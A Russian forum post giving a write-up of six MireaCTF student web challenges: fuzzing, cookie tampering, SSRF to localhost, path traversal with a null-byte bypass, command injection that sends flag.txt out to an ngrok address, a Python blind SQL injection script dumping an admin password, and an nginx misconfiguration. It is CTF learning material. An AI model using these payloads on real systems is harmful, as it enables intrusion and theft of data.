ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Writeup web tasks MireaCTF (https://forum.antichat.xyz/showthread.php?t=1642592)

Местный 20.11.2023 01:00

Всех приветствую! Решил написать короткий райтап по MireaCTF - это соревнования только для студентов. Пишу райтап только по веб таскам.
1 ТАСК
Я решал этот таск хитрым способом. Конечно, стоило бы сначала пофаззить сайт без авторизации, а потом указав куки в фаззер снова пофаззить, чтобы найти скрытые директории, возможно какие-то креды/конфиг файлы и т.д. Мне было настолько лень, что я начал ручками перебирать стандартные креды ака admin:admin, 1:1, admin:123, 123:123. В итоге креды 1:1 подошли и меня перекинуло на главную страничку магазина.

https://forum.antichat.xyz/attachmen...0417660797.png

Тут мы видим список товаров и цену. А также наш балик 50$. Я уже знал примерно, что делать, дело в том, что когда я еду в вуз я стараюсь читать райтапы по уязвимостям, чтобы быть в тренде Мой товарищ сWAPT написал неплохую статью на тему Race Condition
Я ее прочитал и думаю... Где мой промокод, ёлки-палки. Я не смогу воспользоваться этой уязвимостью, ведь у меня нет промо... Я ленивый. Поэтому просмотрел исходник таска(стили/js файлы/комментарии) и ничего не нашел. Стал думать еще ленивее На платформе MireaCTF был список команд, которые уже решили этот таск. Я подумал, что найдется такой же ленивый человек, как и я (не математик) и "набрутит" себе очень много $ на аккаунт, больше, чем 1337 чтобы хватило на покупку флага несколько раз. А раз он ленивый, то и креды создаст простые. В итоге на учетке 123:123 был балик, который подошел под покупку флага и я сдал флаг. Ну это смешно, просто повезло. На деле таск решается вот так:
1) Фаззим ресурс:

Bash:


Код:

dirb https://task.com
>>
~/Desktop/file.txt
#Первоначальный этап
feroxbuster -u https://task.com -w /ПУТЬ/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -d
2
--force-recursion -x txt,php,html

dirb нашел /.git/HEAD (CODE:200|SIZE:22)
feroxbuster не нашел .git с мидл словаря, т.к

https://forum.antichat.xyz/attachmen...0419159102.png

Его попросту нет. В дефолтном тоже нет. Он есть в common.txt.

Bash:


Код:

/usr/share/dirb/wordlists/common.txt
/usr/share/seclists/Discovery/Web-Content/common.txt

Так что в первую очередь используем common словарик, чтобы начать "точку" входа, а далее перекинуть все линки в feroxbuster, т.к там есть режим parallel сканирования. Сразу скажу, что я не профессионал и вы можете меня поправлять, я лишь рассказываю про решение свой команды.
В file.txt у нас хранятся первоначальные линки, которые мы будем прокидывать в feroxbuster и рекурсивно фаззить. Переходим в документацию feroxbuster
Переходим в примеры использования и находим Parallel Scans

Bash:


Код:

cat
large-target-list
|
./feroxbuster --stdin --parallel
10
--extract-links --auto-bail

Вот пример нам дали. Теперь берем наши линки и создаем команду со словариком. Ток линки надо от мусора очистить:

https://forum.antichat.xyz/attachmen...0420356680.png

У меня после очистки осталось 3 линка. Берем их и сохраняем.

Bash:


Код:

cat
file.txt
|
feroxbuster --stdin --parallel
3
--extract-links --auto-bail

--auto-bail = Automatically stop scanning when an excessive amount of errors are encountered
https://task.com/.git/description полученный линк. Там и хранится промокод:

https://forum.antichat.xyz/attachmen...0420792805.png

"CAPYDISCOUNT". Дальше используем метод из той статьи, что я скинул.
2 ТАСК

https://forum.antichat.xyz/attachmen...0420917201.png

Перехватываем запрос и видим кук invite=md5(false) = нас не пускают из-за этого кука.

https://forum.antichat.xyz/attachmen...0421065055.png

https://forum.antichat.xyz/attachmen...0421106037.png

https://forum.antichat.xyz/attachmen...0421139696.png

после замены кука с md5(false) на md5(true) нас впустили

https://forum.antichat.xyz/attachmen...0421216069.png

В этот раз включаем перехватчик и следуем(forward)

https://forum.antichat.xyz/attachmen...0421340166.png

Видим параметр URL.

https://forum.antichat.xyz/attachmen...0421377752.png

Кроме гифки больше ничего нет. Подставляем в url http://localhost и забираем флаг. Вопрос к профи, почему нам отдался флаг? В чем тут идея?

https://forum.antichat.xyz/attachmen...0421446275.png

Если что вместо http://localhost мы можем использовать http://0.0, http://127.0.0.1,http://127.1 и т.д. Вот список обхода локалхоста:

wordlists/localhost-bypass.txt at main · oxgreyhound/wordlists

My personal wordlists from WebApp Hacking and Bug Bounty. - oxgreyhound/wordlists

github.com


3 ТАСК

https://forum.antichat.xyz/attachmen...0421756877.png

Просто есть вот такой вот лендинг. И смена языков странички (en, ru, de, es). Поменяем к примеру на ru. Появился get параметр lan. Подставим туда тестовую полезную нагрузку, где текст разделяется точками и заметим, что точки удаляются.

https://forum.antichat.xyz/attachmen...0421840253.png

Попробуем загуглить lfi payload и подставив

https://forum.antichat.xyz/attachmen...0422099554.png

Мы ничего не получаем...
Почему мы вводим /../ n-ое количество раз? Я так полагаю, что мы находимся условно вот тут: /var/www/html/index.html
А как перейти в etc/passwd. Для этого нужно откатиться назад.

https://forum.antichat.xyz/attachmen...0422643483.png

Если не прокатывает, то увеличиваем. Способ забайпассить точки с помощью нулевого байта. Этот метод мне подсказал товарищ:

https://forum.antichat.xyz/attachmen...0422688226.png

Это работает! Кстати где-нибудь обсуждался bypass dot (точек). Я читал не находил этот способ, когда нулевый байт встраивается между точек.

https://forum.antichat.xyz/attachmen...0422709089.png

4 ТАСК
Этот таск практически никто не решил. Потому что у студентов не хватило деняк на белый адрес)

https://forum.antichat.xyz/attachmen...0423090587.png

RCE-Remote code execution - удалённое внедрение кода на сервере. Обратные кавычки обозначают, что эту команду надо исполнить. 15***** - это наша атакующая машина с которой читаем файл flag.txt.
Или можно через ngrok
https://ngrok-address?q=`base64 flag.txt | tr -d "\n"`
Или Burp Collaborator
5 ТАСК
Регистрируем учетку и входим, далее перехватываем страничку. И видим куки:

https://forum.antichat.xyz/attachmen...0424471429.png

https://forum.antichat.xyz/attachmen...0425151071.png

https://forum.antichat.xyz/attachmen...0425163273.png

Сайт по-разному реагирует на две разные полезные нагрузки, а значит скуля есть. Welcome на страничке = true, если welcome не найден, то false.
SQLMAP не смог найти скулю. Поэтому был написан эксплоит:

Python:


Код:

from
requests
import
Session
from
bs4
import
BeautifulSoup
import
requests
import
string

host
=
'http://localhost:8000'
wordlist
=
string
.
ascii_lowercase
+
string
.
digits
def
brute
(
)
:
password
=
''
for
i
in
range
(
1
,
45
)
:
for
symbol
in
wordlist
:
req
=
f"ergerger' OR SUBSTRING((SELECT password FROM users_info WHERE username = 'admin'),{i}, 1) = '{symbol}"
r
=
requests
.
get
(
host
,
cookies
=
{
"username"
:
req
}
)
if
'Welcome'
in
r
.
text
:
print
(
f"{symbol}char is found"
)
password
+=
symbol
return
password
if
__name__
==
'__main__'
:
print
(
brute
(
)
)

Вопрос к экспертам. Как подружить данную скулю с sqlmap. Почему sqlmap -r file.txt (* в cookie) --technique=B --dbms=MySql --prefix="'" (пробовал с и без) --level=5 --risk=3.

https://forum.antichat.xyz/attachmen...0425642198.png

6 ТАСК

https://forum.antichat.xyz/attachmen...0426935660.png

Фаззим и находит /backup/backup.zip. Скачиваем и смотрим содержимое

https://forum.antichat.xyz/attachmen...0426981996.png

/images_secret/flag.txt вот такой путь до флага. Попробуем его прочитать на сервере.

https://forum.antichat.xyz/attachmen...0427024405.png

Жалко. Тогда попробуем глянуть конфиг. файлы.

https://forum.antichat.xyz/attachmen...0427076478.png

/img=/var/images
Читаем флаг
/img_secret/flag.txt

https://forum.antichat.xyz/attachmen...0427125346.png

Это называется nginx misconfig. Почему мы смогли прочитать файл я не знаю, потому что я никогда не создавал свои веб ресурсы и понимаю всех этих тонкостей конфигураций сервера. Будет здорово, если опытные люди подскажут. Если что флагами светить имею полное право, т.к первый этап MireaCTF уже завершился.

https://forum.antichat.xyz/attachmen...0427633291.png


Время: 02:51